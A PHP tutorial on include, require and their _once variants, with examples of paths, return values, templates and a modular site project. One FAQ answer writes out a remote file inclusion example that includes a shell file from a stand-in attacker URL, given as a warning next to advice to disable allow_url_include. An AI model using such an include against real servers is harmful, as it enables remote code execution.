PHP Include and Require — Complete Guide to File Inclusion

DodaTech Updated 2026-06-28 4 min read

In this tutorial, you will learn about PHP Include and Require. We cover key concepts, practical examples, and best practices to help you master this topic.

PHP include and require statements insert the content of one PHP file into another, enabling code reuse, modular organization, and Separation Of Concerns.

What You'll Learn

By the end of this tutorial, you'll use include, require, include_once, and require_once, understand their differences, manage file paths, and organize code into reusable components.

Why Include/Require Matters

Without file inclusion, every PHP page would repeat the same code for headers, footers, database connections, and utility functions. Include statements make code DRY and maintainable.

Real-World Use

A website uses a header.php for navigation, footer.php for copyright, and config.php for database settings. Each page includes these components rather than duplicating the code.

Include/Require Learning Path

flowchart LR
  A[Loops] --> B[Include/Require]
  B --> C[Superglobals]
  C --> D[Forms]
  D --> E[Sessions]
  A --> F{You Are Here}
  style F fill:#f90,color:#fff

Basic Inclusion

<?php
// config.php
$dbHost = "localhost";
$dbName = "myapp";
define("SITE_NAME", "My Website");

// index.php
include "config.php";
echo SITE_NAME;  // My Website
echo $dbHost;    // localhost

Include vs Require

<?php
// include — warning on failure, script continues
include "missing.php";  // Warning: file not found
echo "This still runs";

// require — fatal error on failure, script stops
require "missing.php";  // Fatal error
echo "This never runs";

Include Once and Require Once

<?php
// prevent multiple inclusions of the same file
require_once "config.php";
require_once "config.php";  // Skipped — already included

// This prevents:
// - Redefined functions/classes
// - Duplicate variable assignments
// - Redefined constants

File Path Resolution

<?php
// Relative to current file
include "header.php";          // Same directory
include "includes/header.php"; // Subdirectory
include "../header.php";       // Parent directory

// Absolute path
include "/var/www/includes/header.php";

// Using __DIR__ (recommended)
include __DIR__ . "/includes/header.php";

Return Values from Included Files

<?php
// data.php
return ["name" => "Alice", "age" => 25];

// index.php
$user = include "data.php";
echo $user["name"];  // Alice

Template Example

<?php
// header.php
?>
<!DOCTYPE html>
<html><head><title><?= $pageTitle ?? "Default" ?></title></head><body>
<nav><a href="/">Home</a> | <a href="/about">About</a></nav>

<?php
// footer.php
?>
<footer>&copy; <?= date("Y") ?> My Website</footer></body></html>

<?php
// page.php
$pageTitle = "About Us";
include "header.php";
echo "<h1>About Us</h1><p>Content here.</p>";
include "footer.php";

Common Mistakes

1. Using include Instead of require for Critical Files

Database connection files should use require. If the connection file is missing, the app should crash, not proceed.

2. Not Using DIR for Relative Paths

include "config.php" depends on the working directory, which changes when files in subdirectories include other files.

3. Including User-Controlled Paths

Allowing users to specify which file to include enables remote file inclusion (RFI) attacks.

4. Including HTML Without Namespace

Variables declared in included files become global. Wrap in functions or classes to avoid pollution.

5. Forgetting require_once for Functions/Classes

Including a function definition twice causes a fatal error. Always use require_once for functions and classes.

Practice Questions

1. What is the difference between include and require?

include produces a warning on failure and continues. require produces a fatal error and stops execution.

2. When should you use require_once instead of require?

Use require_once when the file defines functions, classes, or constants that would cause errors if defined twice.

3. Why use DIR in include paths?

DIR ensures the path is relative to the current file, not the working directory, preventing bugs in nested includes.

4. Can included files return values?

Yes. An included file can return a value which becomes the result of the include expression.

5. Challenge: Create a simple template system using include with variables.

<?php
// layout.php
?>
<!DOCTYPE html>
<html><head><title><?= $title ?></title></head>
<body><?= $content ?></body></html>

<?php
// page.php
$title = "Welcome";
ob_start();
echo "<h1>Hello World</h1>";
$content = ob_get_clean();
include "layout.php";

FAQ

What is remote file inclusion?

include 'http://attacker.com/shell.txt' loads remote code. Disable allow_url_include in php.ini for security.

Can I include a file inside a function?

Yes. Variables in the included file get function scope. Useful for loading localized content.

What is the difference between include and include_once?

include_once checks if the file was already included and skips it if so, preventing duplicate definitions.

How do I include all PHP files in a directory?

Use foreach (glob('includes/*.php') as $file) { require_once $file; }

What is the include path?

The include path (set_include_path) is a list of directories PHP searches when a relative path is given.

Mini Project: Modular Website

Create a modular website structure using include and require.

<?php
// config.php
define("SITE_NAME", "ModularSite");
define("DB_HOST", "localhost");

// functions.php
function renderHeader(string $title): void {
    include __DIR__ . "/templates/header.php";
}
function renderFooter(): void {
    include __DIR__ . "/templates/footer.php";
}

// index.php
require_once "config.php";
require_once "functions.php";
renderHeader("Home");
echo "<h1>Welcome to " . SITE_NAME . "</h1>";
renderFooter();

What's Next

PHP Superglobals PHP GET POST PHP Sessions

← Previous PHP Loops — Complete Guide to for, while, foreach, and Loop Control Next → Zend Framework / Laminas Guide — Enterprise PHP Components

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